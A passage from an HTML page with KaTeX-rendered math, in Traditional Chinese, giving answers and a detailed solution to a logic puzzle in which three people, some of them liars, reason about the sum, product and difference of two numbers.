style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span>，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(3,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span>可使<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>最小</p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\{(3,9),(4,8)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)}</span></span></span></span></p></li><li><p>如下表</p><table><thead><tr><th>角色</th><th>何時知道</th></tr></thead><tbody><tr><td>乙</td><td>對話開始之前</td></tr><tr><td>丙</td><td><code>甲-4</code>後</td></tr><tr><td>甲</td><td><code>乙-8</code>後</td></tr></tbody></table></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的最大值為 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>8</mn></mrow><annotation encoding="application/x-tex">8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span>，只需保留<code>甲-4</code>即可</p></li></ol></details><h2 id="%E8%A9%B3%E8%A7%A3" tabindex="-1" id="詳解">詳解</h2><h3 id="%E7%AC%AC1%E9%A1%8C" tabindex="-1" id="第1題">第1題</h3><details><summary>點我展開</summary>先將所有可能情形列出<table><thead><tr><th>(x,y)</th><th>甲 (x+y)</th><th>乙 (xy)</th><th>丙 (x-y)</th><th>xy唯一?</th><th>x+y唯一?</th><th>x-y唯一?</th></tr></thead><tbody><tr><td>(2,3)</td><td>5</td><td>6</td><td>-1</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(2,4)</td><td>6</td><td>8</td><td>-2</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(2,5)</td><td>7</td><td>10</td><td>-3</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(2,6)</td><td>8</td><td>12</td><td>-4</td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(2,7)</td><td>9</td><td>14</td><td>-5</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(2,8)</td><td>10</td><td>16</td><td>-6</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(2,9)</td><td>11</td><td>18</td><td>-7</td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#2ECC71;">是</span></td></tr><tr><td>(3,4)</td><td>7</td><td>12</td><td>-1</td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(3,5)</td><td>8</td><td>15</td><td>-2</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(3,6)</td><td>9</td><td>18</td><td>-3</td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(3,7)</td><td>10</td><td>21</td><td>-4</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(3,8)</td><td>11</td><td>24</td><td>-5</td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(3,9)</td><td>12</td><td>27</td><td>-6</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(4,5)</td><td>9</td><td>20</td><td>-1</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(4,6)</td><td>10</td><td>24</td><td>-2</td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(4,7)</td><td>11</td><td>28</td><td>-3</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(4,8)</td><td>12</td><td>32</td><td>-4</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(4,9)</td><td>13</td><td>36</td><td>-5</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(5,6)</td><td>11</td><td>30</td><td>-1</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(5,7)</td><td>12</td><td>35</td><td>-2</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(5,8)</td><td>13</td><td>40</td><td>-3</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(5,9)</td><td>14</td><td>45</td><td>-4</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(6,7)</td><td>13</td><td>42</td><td>-1</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(6,8)</td><td>14</td><td>48</td><td>-2</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(6,9)</td><td>15</td><td>54</td><td>-3</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(7,8)</td><td>15</td><td>56</td><td>-2</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(7,9)</td><td>16</td><td>63</td><td>-1</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(8,9)</td><td>17</td><td>72</td><td>-1</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td></tr></tbody></table><p>為了以下論述方便，我們使用<code>說話人-全部句數中第幾句</code>對句子進行編號，譬如<code>乙-5</code>為「的確，我不知道」；另外，以T代表說實話者，F代表說謊者；再者，若以下論述提及「某人不知道」，未註明時均指他「不知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x,y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>兩數的確切數值」。以下開始進行推論：</p><ul><li><p>甲知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>中必有奇數，若且惟若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>為奇數，因為此時<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x,y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>必為一奇一偶，且若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>為偶數，甲將不能確定<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x,y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>是兩奇或兩偶</p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x-y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>的奇偶性相同</p></li><li><p>丙-3：「我不知道這個數是什麼，不過甲在說謊」</p><ul><li><p>若丙為T <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> 丙不知道(<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi><mo mathvariant="normal">≠</mo><mo>−</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">x-y\neq-7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mspace nobreak"></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">7</span></span></span></span>)且甲為F，而且<font color=pink>丙知道甲為F</font>。根據上表，我們知道丙除非是拿到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>−</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">-7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">7</span></span></span></span>，否則不可能在一開始就能推論出甲知道與否，因此丙僅能對「<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>必有奇數」做出否定 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x-y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>均為偶數</p></li><li><p>若丙為F <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> 丙知道(<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi><mo>=</mo><mo>−</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">x-y=-7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">7</span></span></span></span>)或甲為T，不過若丙知道，則查表知甲確實不知道，且丙知道代表<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi><mo>=</mo><mo>−</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">x-y=-7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">7</span></span></span></span>，進而<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>為奇數，從而甲亦說實話。因此，無論如何甲為T。<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo separator="true">,</mo><mi>x</mi><mo>−</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y,x-y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>為奇數，且<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo mathvariant="normal">∉</mo><mo stretchy="false">{</mo><mn>5</mn><mo separator="true">,</mo><mn>6</mn><mo separator="true">,</mo><mn>16</mn><mo separator="true">,</mo><mn>17</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">x+y\notin\{5,6,16,17\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mord"><span class="mrel">∈</span></span><span class="mord vbox"><span class="thinbox"><span class="llap"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="inner"><span class="mord"><span class="mord">/</span><span class="mspace" style="margin-right:0.0556em;"></span></span></span><span class="fix"></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">16</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">17</span><span class="mclose">}</span></span></span></span></p></li><li><p>由以上兩點，我們得知：甲為T <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇔</mo></mrow><annotation encoding="application/x-tex">\Leftrightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇔</span></span></span></span> 丙為F <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇔</mo></mrow><annotation encoding="application/x-tex">\Leftrightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇔</span></span></span></span> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x,y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>一奇一偶，且由於這些推理甲、丙都會做出，又他們知道自己是否說謊，因此他們互相知道對方是否說謊(在ROUND 1結束後)</p></li></ul></li><li><p>丙-6：「甲不知道這兩個數是多少，而且乙在說謊」</p><ul><li><p>若丙為T，則有</p><ol><li><p>甲為F，且丙知道這件事</p></li><li><p>甲知道丙為T</p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo separator="true">,</mo><mi>x</mi><mo>−</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y,x-y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>為偶數</p></li><li><p>丙知道「甲不知道這兩個數是多少」</p></li><li><p>丙知道「乙在說謊(<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> 乙知道 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi><mo mathvariant="normal">∉</mo><mo stretchy="false">{</mo><mn>12</mn><mo separator="true">,</mo><mn>18</mn><mo separator="true">,</mo><mn>24</mn><mo stretchy="false">}</mo></mrow><annotation 